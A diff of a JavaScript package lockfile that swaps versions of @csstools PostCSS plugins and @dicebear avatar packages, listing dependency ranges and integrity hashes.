- "@csstools/postcss-color-mix-variadic-function-arguments": ["@csstools/postcss-color-mix-variadic-function-arguments@2.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-zEchsghpDH/6SytyjKu9TIPm4hiiWcur102cENl54cyIwTZsa+2MBJl/vtyALZ+uQ17h27L4waD+0Ow96sgZow=="],
+ "@csstools/postcss-hwb-function": ["@csstools/postcss-hwb-function@2.2.2", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-W5Y5oaJ382HSlbdGfPf60d7dAK6Hqf10+Be1yZbd/TNNrQ/3dDdV1c07YwOXPQ3PZ6dvFMhxbIbn8EC3ki3nEg=="],
- "@csstools/postcss-content-alt-text": ["@csstools/postcss-content-alt-text@3.0.0", "", { "dependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-OHa+4aCcrJtHpPWB3zptScHwpS1TUbeLR4uO0ntIz0Su/zw9SoWkVu+tDMSySSAsNtNSI3kut4fTliFwIsrHxA=="],
+ "@csstools/postcss-ic-unit": ["@csstools/postcss-ic-unit@2.0.4", "", { "dependencies": { "@csstools/postcss-progressive-custom-properties": "^2.3.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-9W2ZbV7whWnr1Gt4qYgxMWzbevZMOvclUczT5vk4yR6vS53W/njiiUhtm/jh/BKYwQ1W3PECZjgAd2dH4ebJig=="],
- "@csstools/postcss-contrast-color-function": ["@csstools/postcss-contrast-color-function@3.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-fwOz/m+ytFPz4aIph2foQS9nEDOdOjYcN5bgwbGR2jGUV8mYaeD/EaTVMHTRb/zqB65y2qNwmcFcE6VQty69Pw=="],
+ "@csstools/postcss-is-pseudo-class": ["@csstools/postcss-is-pseudo-class@3.2.1", "", { "dependencies": { "@csstools/selector-specificity": "^2.0.0", "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-AtANdV34kJl04Al62is3eQRk/BfOfyAvEmRJvbt+nx5REqImLC+2XhuE6skgkcPli1l8ONS67wS+l1sBzySc3Q=="],
- "@csstools/postcss-exponential-functions": ["@csstools/postcss-exponential-functions@3.0.1", "", { "dependencies": { "@csstools/css-calc": "^3.1.1", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-WHJ52Uk0AVUIICEYRY9xFHJZAuq0ZVg0f8xzqUN2zRFrZvGgRPpFwxK7h9FWvqKIOueOwN6hnJD23A8FwsUiVw=="],
+ "@csstools/postcss-logical-float-and-clear": ["@csstools/postcss-logical-float-and-clear@1.0.1", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-eO9z2sMLddvlfFEW5Fxbjyd03zaO7cJafDurK4rCqyRt9P7aaWwha0LcSzoROlcZrw1NBV2JAp2vMKfPMQO1xw=="],
- "@csstools/postcss-font-format-keywords": ["@csstools/postcss-font-format-keywords@5.0.0", "", { "dependencies": { "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-M1EjCe/J3u8fFhOZgRci74cQhJ7R0UFBX6T+WqoEvjrr8hVfMiV+HTYrzxLY5OW8YllvXYr5Q5t5OvJbsUSeDg=="],
+ "@csstools/postcss-logical-resize": ["@csstools/postcss-logical-resize@1.0.1", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-x1ge74eCSvpBkDDWppl+7FuD2dL68WP+wwP2qvdUcKY17vJksz+XoE1ZRV38uJgS6FNUwC0AxrPW5gy3MxsDHQ=="],
- "@csstools/postcss-font-width-property": ["@csstools/postcss-font-width-property@1.0.0", "", { "dependencies": { "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-AvmySApdijbjYQuXXh95tb7iVnqZBbJrv3oajO927ksE/mDmJBiszm+psW8orL2lRGR8j6ZU5Uv9/ou2Z5KRKA=="],
+ "@csstools/postcss-logical-viewport-units": ["@csstools/postcss-logical-viewport-units@1.0.3", "", { "dependencies": { "@csstools/css-tokenizer": "^2.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-6zqcyRg9HSqIHIPMYdt6THWhRmE5/tyHKJQLysn2TeDf/ftq7Em9qwMTx98t2C/7UxIsYS8lOiHHxAVjWn2WUg=="],
- "@csstools/postcss-gamut-mapping": ["@csstools/postcss-gamut-mapping@3.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-IrXAW3KQ3Sxm29C3/4mYQ/iA0Q5OH9YFOPQ2w24iIlXpD06A9MHvmQapP2vAGtQI3tlp2Xw5LIdm9F8khARfOA=="],
+ "@csstools/postcss-media-minmax": ["@csstools/postcss-media-minmax@1.1.2", "", { "dependencies": { "@csstools/css-calc": "^1.1.6", "@csstools/css-parser-algorithms": "^2.5.0", "@csstools/css-tokenizer": "^2.2.3", "@csstools/media-query-list-parser": "^2.1.7" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-7qTRTJxW96u2yiEaTep1+8nto1O/rEDacewKqH+Riq5E6EsHTOmGHxkB4Se5Ic5xgDC4I05lLZxzzxnlnSypxA=="],
- "@csstools/postcss-gradients-interpolation-method": ["@csstools/postcss-gradients-interpolation-method@6.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-saQHvD1PD/zCdn+kxCWCcQOdXZBljr8L6BKlCLs0w8GXYfo3SHdWL1HZQ+I1hVCPlU+MJPJJbZJjG/jHRJSlAw=="],
+ "@csstools/postcss-media-queries-aspect-ratio-number-values": ["@csstools/postcss-media-queries-aspect-ratio-number-values@1.0.4", "", { "dependencies": { "@csstools/css-parser-algorithms": "^2.2.0", "@csstools/css-tokenizer": "^2.1.1", "@csstools/media-query-list-parser": "^2.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-IwyTbyR8E2y3kh6Fhrs251KjKBJeUPV5GlnUKnpU70PRFEN2DolWbf2V4+o/B9+Oj77P/DullLTulWEQ8uFtAA=="],
- "@csstools/postcss-hwb-function": ["@csstools/postcss-hwb-function@5.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-ChR0+pKc/2cs900jakiv8dLrb69aez5P3T+g+wfJx1j6mreAe8orKTiMrVBk+DZvCRqpdOA2m8VoFms64A3Dew=="],
+ "@csstools/postcss-nested-calc": ["@csstools/postcss-nested-calc@2.0.2", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-jbwrP8rN4e7LNaRcpx3xpMUjhtt34I9OV+zgbcsYAAk6k1+3kODXJBf95/JMYWhu9g1oif7r06QVUgfWsKxCFw=="],
- "@csstools/postcss-ic-unit": ["@csstools/postcss-ic-unit@5.0.0", "", { "dependencies": { "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-/ws5d6c4uKqfM9zIL3ugcGI+3fvZEOOkJHNzAyTAGJIdZ+aSL9BVPNlHGV4QzmL0vqBSCOdU3+rhcMEj3+KzYw=="],
+ "@csstools/postcss-normalize-display-values": ["@csstools/postcss-normalize-display-values@2.0.1", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-TQT5g3JQ5gPXC239YuRK8jFceXF9d25ZvBkyjzBGGoW5st5sPXFVQS8OjYb9IJ/K3CdfK4528y483cgS2DJR/w=="],
- "@csstools/postcss-initial": ["@csstools/postcss-initial@3.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-UVUrFmrTQyLomVepnjWlbBg7GoscLmXLwYFyjbcEnmpeGW7wde6lNpx5eM3eVwZI2M+7hCE3ykYnAsEPLcLa+Q=="],
+ "@csstools/postcss-oklab-function": ["@csstools/postcss-oklab-function@2.2.3", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1", "@csstools/postcss-progressive-custom-properties": "^2.3.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-AgJ2rWMnLCDcbSMTHSqBYn66DNLBym6JpBpCaqmwZ9huGdljjDRuH3DzOYzkgQ7Pm2K92IYIq54IvFHloUOdvA=="],
- "@csstools/postcss-is-pseudo-class": ["@csstools/postcss-is-pseudo-class@6.0.0", "", { "dependencies": { "@csstools/selector-specificity": "^6.0.0", "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-1Hdy/ykg9RDo8vU8RiM2o+RaXO39WpFPaIkHxlAEJFofle/lc33tdQMKhBk3jR/Fe+uZNLOs3HlowFafyFptVw=="],
+ "@csstools/postcss-progressive-custom-properties": ["@csstools/postcss-progressive-custom-properties@2.3.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-Zd8ojyMlsL919TBExQ1I0CTpBDdyCpH/yOdqatZpuC3sd22K4SwC7+Yez3Q/vmXMWSAl+shjNeFZ7JMyxMjK+Q=="],
- "@csstools/postcss-light-dark-function": ["@csstools/postcss-light-dark-function@3.0.0", "", { "dependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-s++V5/hYazeRUCYIn2lsBVzUsxdeC46gtwpgW6lu5U/GlPOS5UTDT14kkEyPgXmFbCvaWLREqV7YTMJq1K3G6w=="],
+ "@csstools/postcss-relative-color-syntax": ["@csstools/postcss-relative-color-syntax@1.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^1.2.0", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1", "@csstools/postcss-progressive-custom-properties": "^2.3.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-juCoVInkgH2TZPfOhyx6tIal7jW37L/0Tt+Vcl1LoxqQA9sxcg3JWYZ98pl1BonDnki6s/M7nXzFQHWsWMeHgw=="],
- "@csstools/postcss-logical-float-and-clear": ["@csstools/postcss-logical-float-and-clear@4.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-NGzdIRVj/VxOa/TjVdkHeyiJoDihONV0+uB0csUdgWbFFr8xndtfqK8iIGP9IKJzco+w0hvBF2SSk2sDSTAnOQ=="],
+ "@csstools/postcss-scope-pseudo-class": ["@csstools/postcss-scope-pseudo-class@2.0.2", "", { "dependencies": { "postcss-selector-parser": "^6.0.10" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-6Pvo4uexUCXt+Hz5iUtemQAcIuCYnL+ePs1khFR6/xPgC92aQLJ0zGHonWoewiBE+I++4gXK3pr+R1rlOFHe5w=="],
- "@csstools/postcss-logical-overflow": ["@csstools/postcss-logical-overflow@3.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-5cRg93QXVskM0MNepHpPcL0WLSf5Hncky0DrFDQY/4ozbH5lH7SX5ejayVpNTGSX7IpOvu7ykQDLOdMMGYzwpA=="],
+ "@csstools/postcss-stepped-value-functions": ["@csstools/postcss-stepped-value-functions@2.1.1", "", { "dependencies": { "@csstools/css-calc": "^1.1.1", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-YCvdF0GCZK35nhLgs7ippcxDlRVe5QsSht3+EghqTjnYnyl3BbWIN6fYQ1dKWYTJ+7Bgi41TgqQFfJDcp9Xy/w=="],
- "@csstools/postcss-logical-overscroll-behavior": ["@csstools/postcss-logical-overscroll-behavior@3.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-82Jnl/5Wi5jb19nQE1XlBHrZcNL3PzOgcj268cDkfwf+xi10HBqufGo1Unwf5n8bbbEFhEKgyQW+vFsc9iY1jw=="],
+ "@csstools/postcss-text-decoration-shorthand": ["@csstools/postcss-text-decoration-shorthand@2.2.4", "", { "dependencies": { "@csstools/color-helpers": "^2.1.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-zPN56sQkS/7YTCVZhOBVCWf7AiNge8fXDl7JVaHLz2RyT4pnyK2gFjckWRLpO0A2xkm1lCgZ0bepYZTwAVd/5A=="],
- "@csstools/postcss-logical-resize": ["@csstools/postcss-logical-resize@4.0.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-L0T3q0gei/tGetCGZU0c7VN77VTivRpz1YZRNxjXYmW+85PKeI6U9YnSvDqLU2vBT2uN4kLEzfgZ0ThIZpN18A=="],
+ "@csstools/postcss-trigonometric-functions": ["@csstools/postcss-trigonometric-functions@2.1.1", "", { "dependencies": { "@csstools/css-calc": "^1.1.1", "@csstools/css-parser-algorithms": "^2.1.1", "@csstools/css-tokenizer": "^2.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-XcXmHEFfHXhvYz40FtDlA4Fp4NQln2bWTsCwthd2c+MCnYArUYU3YaMqzR5CrKP3pMoGYTBnp5fMqf1HxItNyw=="],
- "@csstools/postcss-logical-viewport-units": ["@csstools/postcss-logical-viewport-units@4.0.0", "", { "dependencies": { "@csstools/css-tokenizer": "^4.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-TA3AqVN/1IH3dKRC2UUWvprvwyOs2IeD7FDZk5Hz20w4q33yIuSg0i0gjyTUkcn90g8A4n7QpyZ2AgBrnYPnnA=="],
+ "@csstools/postcss-unset-value": ["@csstools/postcss-unset-value@2.0.1", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-oJ9Xl29/yU8U7/pnMJRqAZd4YXNCfGEdcP4ywREuqm/xMqcgDNDppYRoCGDt40aaZQIEKBS79LytUDN/DHf0Ew=="],
- "@csstools/postcss-media-minmax": ["@csstools/postcss-media-minmax@3.0.1", "", { "dependencies": { "@csstools/css-calc": "^3.1.1", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/media-query-list-parser": "^5.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-I+CrmZt23fyejMItpLQFOg9gPXkDBBDjTqRT0UxCTZlYZfGrzZn4z+2kbXLRwDfR59OK8zaf26M4kwYwG0e1MA=="],
-
- "@csstools/postcss-media-queries-aspect-ratio-number-values": ["@csstools/postcss-media-queries-aspect-ratio-number-values@4.0.0", "", { "dependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/media-query-list-parser": "^5.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-FDdC3lbrj8Vr0SkGIcSLTcRB7ApG6nlJFxOxkEF2C5hIZC1jtgjISFSGn/WjFdVkn8Dqe+Vx9QXI3axS2w1XHw=="],
-
- "@csstools/postcss-mixins": ["@csstools/postcss-mixins@1.0.0", "", { "dependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-rz6qjT2w9L3k65jGc2dX+3oGiSrYQ70EZPDrINSmSVoVys7lLBFH0tvEa8DW2sr9cbRVD/W+1sy8+7bfu0JUfg=="],
-
- "@csstools/postcss-nested-calc": ["@csstools/postcss-nested-calc@5.0.0", "", { "dependencies": { "@csstools/utilities": "^3.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-aPSw8P60e/i9BEfugauhikBqgjiwXcw3I9o4vXs+hktl4NSTgZRI0QHimxk9mst8N01A2TKDBxOln3mssRxiHQ=="],
-
- "@csstools/postcss-normalize-display-values": ["@csstools/postcss-normalize-display-values@5.0.1", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-FcbEmoxDEGYvm2W3rQzVzcuo66+dDJjzzVDs+QwRmZLHYofGmMGwIKPqzF86/YW+euMDa7sh1xjWDvz/fzByZQ=="],
-
- "@csstools/postcss-oklab-function": ["@csstools/postcss-oklab-function@5.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-3d/Wcnp2uW6Io0Tajl0croeUo46gwOVQI9N32PjA/HVQo6z1iL7yp19Gp+6e5E5CDKGpW7U822MsDVo2XK1z0Q=="],
-
- "@csstools/postcss-position-area-property": ["@csstools/postcss-position-area-property@2.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-TeEfzsJGB23Syv7yCm8AHCD2XTFujdjr9YYu9ebH64vnfCEvY4BG319jXAYSlNlf3Yc9PNJ6WnkDkUF5XVgSKQ=="],
-
- "@csstools/postcss-progressive-custom-properties": ["@csstools/postcss-progressive-custom-properties@5.0.0", "", { "dependencies": { "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-NsJoZ89rxmDrUsITf8QIk5w+lQZQ8Xw5K6cLFG+cfiffsLYHb3zcbOOrHLetGl1WIhjWWQ4Cr8MMrg46Q+oACg=="],
-
- "@csstools/postcss-property-rule-prelude-list": ["@csstools/postcss-property-rule-prelude-list@2.0.0", "", { "dependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-qcMAkc9AhpzHgmQCD8hoJgGYifcOAxd1exXjjxilMM6euwRE619xDa4UsKBCv/v4g+sS63sd6c29LPM8s2ylSQ=="],
-
- "@csstools/postcss-random-function": ["@csstools/postcss-random-function@3.0.1", "", { "dependencies": { "@csstools/css-calc": "^3.1.1", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-SvKGfmj+WHfn4bWHaBYlkXDyU3SlA3fL8aaYZ8Op6M8tunNf3iV9uZyZZGWMCbDw0sGeoTmYZW9nmKN8Qi/ctg=="],
-
- "@csstools/postcss-relative-color-syntax": ["@csstools/postcss-relative-color-syntax@4.0.2", "", { "dependencies": { "@csstools/css-color-parser": "^4.0.2", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0", "@csstools/postcss-progressive-custom-properties": "^5.0.0", "@csstools/utilities": "^3.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-HaMN+qMURinllszbps2AhXKaLeibg/2VW6FriYDrqE58ji82+z2S3/eLloywVOY8BQCJ9lZMdy6TcRQNbn9u3w=="],
-
- "@csstools/postcss-scope-pseudo-class": ["@csstools/postcss-scope-pseudo-class@5.0.0", "", { "dependencies": { "postcss-selector-parser": "^7.1.1" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-kBrBFJcAji3MSHS4qQIihPvJfJC5xCabXLbejqDMiQi+86HD4eMBiTayAo46Urg7tlEmZZQFymFiJt+GH6nvXw=="],
-
- "@csstools/postcss-sign-functions": ["@csstools/postcss-sign-functions@2.0.1", "", { "dependencies": { "@csstools/css-calc": "^3.1.1", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-C3br0qcHJkQ0qSGUBnDJHXQdO8XObnCpGwai5m1L2tv2nCjt0vRHG6A9aVCQHvh08OqHNM2ty1dYDNNXV99YAQ=="],
-
- "@csstools/postcss-stepped-value-functions": ["@csstools/postcss-stepped-value-functions@5.0.1", "", { "dependencies": { "@csstools/css-calc": "^3.1.1", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-vZf7zPzRb7xIi2o5Z9q6wyeEAjoRCg74O2QvYxmQgxYO5V5cdBv4phgJDyOAOP3JHy4abQlm2YaEUS3gtGQo0g=="],
-
- "@csstools/postcss-syntax-descriptor-syntax-production": ["@csstools/postcss-syntax-descriptor-syntax-production@2.0.0", "", { "dependencies": { "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-elYcbdiBXAkPqvojB9kIBRuHY6htUhjSITtFQ+XiXnt6SvZCbNGxQmaaw6uZ7SPHu/+i/XVjzIt09/1k3SIerQ=="],
-
- "@csstools/postcss-system-ui-font-family": ["@csstools/postcss-system-ui-font-family@2.0.0", "", { "dependencies": { "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-FyGZCgchFImFyiHS2x3rD5trAqatf/x23veBLTIgbaqyFfna6RNBD+Qf8HRSjt6HGMXOLhAjxJ3OoZg0bbn7Qw=="],
-
- "@csstools/postcss-text-decoration-shorthand": ["@csstools/postcss-text-decoration-shorthand@5.0.3", "", { "dependencies": { "@csstools/color-helpers": "^6.0.2", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-62fjggvIM1YYfDJPcErMUDkEZB6CByG8neTJqexnZe1hRBgCjD4dnXDLoCSSurjs1LzjBq6irFDpDaOvDZfrlw=="],
-
- "@csstools/postcss-trigonometric-functions": ["@csstools/postcss-trigonometric-functions@5.0.1", "", { "dependencies": { "@csstools/css-calc": "^3.1.1", "@csstools/css-parser-algorithms": "^4.0.0", "@csstools/css-tokenizer": "^4.0.0" }, "peerDependencies": { "postcss": "^8.4" } }, "sha512-e8me32Mhl8JeBnxVJgsQUYpV4Md4KiyvpILpQlaY/eK1Gwdb04kasiTTswPQ5q7Z8+FppJZ2Z4d8HRfn6rjD3w=="],
-
- "@csstools/postcss-unset-value": ["@csstools/postcss-unset-value@5.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-EoO54sS2KCIfesvHyFYAW99RtzwHdgaJzhl7cqKZSaMYKZv3fXSOehDjAQx8WZBKn1JrMd7xJJI1T1BxPF7/jA=="],
-
- "@csstools/selector-resolve-nested": ["@csstools/selector-resolve-nested@4.0.0", "", { "peerDependencies": { "postcss-selector-parser": "^7.1.1" } }, "sha512-9vAPxmp+Dx3wQBIUwc1v7Mdisw1kbbaGqXUM8QLTgWg7SoPGYtXBsMXvsFs/0Bn5yoFhcktzxNZGNaUt0VjgjA=="],
-
- "@csstools/selector-specificity": ["@csstools/selector-specificity@6.0.0", "", { "peerDependencies": { "postcss-selector-parser": "^7.1.1" } }, "sha512-4sSgl78OtOXEX/2d++8A83zHNTgwCJMaR24FvsYL7Uf/VS8HZk9PTwR51elTbGqMuwH3szLvvOXEaVnqn0Z3zA=="],
-
- "@csstools/utilities": ["@csstools/utilities@3.0.0", "", { "peerDependencies": { "postcss": "^8.4" } }, "sha512-etDqA/4jYvOGBM6yfKCOsEXfH96BKztZdgGmGqKi2xHnDe0ILIBraRspwgYatJH9JsCZ5HCGoCst8w18EKOAdg=="],
+ "@csstools/selector-specificity": ["@csstools/selector-specificity@2.2.0", "", { "peerDependencies": { "postcss-selector-parser": "^6.0.10" } }, "sha512-+OJ9konv95ClSTOJCmMZqpd5+YGsB2S+x6w3E1oaM8UuR5j8nTNHYSz8c9BEPGDOCMQYIEEGlVPj/VY64iTbGw=="],
"@dabh/diagnostics": ["@dabh/diagnostics@2.0.3", "", { "dependencies": { "colorspace": "1.1.x", "enabled": "2.0.x", "kuler": "^2.0.0" } }, "sha512-hrlQOIi7hAfzsMqlGSFyVucrx38O+j6wiGOf//H2ecvIEqYN4ADBSS2iLMh5UFyDunCNniUIPk/q3riFv45xRA=="],
- "@dicebear/adventurer": ["@dicebear/adventurer@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-jqYp834ZmGDA9HBBDQAdgF1O2UTCwHF4vVrktXWa2Dppp1JczPL5HnVOWsjtrLmXNn61Wd6OLmBb2e6rhzp3ig=="],
+ "@dicebear/adventurer": ["@dicebear/adventurer@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-Xvboay3VH1qe7lH17T+bA3qPawf5EjccssDiyhCX/VT0P21c65JyjTIUJV36Nsv08HKeyDscyP0kgt9nPTRKvA=="],
- "@dicebear/adventurer-neutral": ["@dicebear/adventurer-neutral@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-5xgkG/mNL4j3Q4SJGQLBU/KnU90tng8Ze5ofThD+55wi0oeY/nSAUowg6UFCmHrktjifj/MEx3CQqbpcPWtfIA=="],
+ "@dicebear/adventurer-neutral": ["@dicebear/adventurer-neutral@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-I9IrB4ZYbUHSOUpWoUbfX3vG8FrjcW8htoQ4bEOR7TYOKKE11Mo1nrGMuHZ7GPfwN0CQeK1YVJhWqLTmtYn7Pg=="],
- "@dicebear/avataaars": ["@dicebear/avataaars@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-3x9jKFkOkFSPmpTbt9xvhiU2E1GX7beCSsX0tXRUShj8x6+5Ks9yBRT1VlkySbnXrZ/GglADGg7vJ/D2uIx1Yw=="],
+ "@dicebear/avataaars": ["@dicebear/avataaars@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-QKNBtA/1QGEzR+JjS4XQyrFHYGbzdOp0oa6gjhGhUDrMegDFS8uyjdRfDQsFTebVkyLWjgBQKZEiDqKqHptB6A=="],
- "@dicebear/avataaars-neutral": ["@dicebear/avataaars-neutral@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-/eNrp0YCNJRwQXqOloLm1+3Ss2C+pMpUQIGkbEnGsP1UK+13Ge80ggDDof1HpdqvG9HAZcKa7hnbG/0HSwyDSw=="],
+ "@dicebear/avataaars-neutral": ["@dicebear/avataaars-neutral@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-HtBvA7elRv50QTOOsBdtYB1GVimCpGEDlDgWsu1snL5Z3d1+3dIESoXQd3mXVvKTVT8Z9ciA4TEaF09WfxDjAA=="],
- "@dicebear/big-ears": ["@dicebear/big-ears@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-mNfz3ppNA7UBq0IO3nXCiV5pFPG7c1DfzRB0foNU2Wo1XXT8FIcSY2BvDlYqorZTOUOz7dHb0vx06hqvG0HP5w=="],
+ "@dicebear/big-ears": ["@dicebear/big-ears@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-U33tbh7Io6wG6ViUMN5fkWPER7hPKMaPPaYgafaYQlCT4E7QPKF2u8X1XGag3jCKm0uf4SLXfuZ8v+YONcHmNQ=="],
- "@dicebear/big-ears-neutral": ["@dicebear/big-ears-neutral@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-M8Ozmzza4eY4hpLOYULgJxMYmBA0CsBnrE15/xw6LZkEREXnrX5z0NJsf8hUfdyF6BWZ+RBgzoiav32DAC5zcg=="],
+ "@dicebear/big-ears-neutral": ["@dicebear/big-ears-neutral@9.2.4", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-pPjYu80zMFl43A9sa5+tAKPkhp4n9nd7eN878IOrA1HAowh/XePh5JN8PTkNFS9eM+rnN9m8WX08XYFe30kLYw=="],
- "@dicebear/big-smile": ["@dicebear/big-smile@9.4.2", "", { "peerDependencies": { "@dicebear/core": "^9.0.0" } }, "sha512-hmT5i7rcPPhStjZyg28pbIhdTnnMBzK3RObI0vKCpY30EFrzaPkkdDL6Ck5fAFBdvDIW1EpOJkenyR0XPmhgbQ=="],
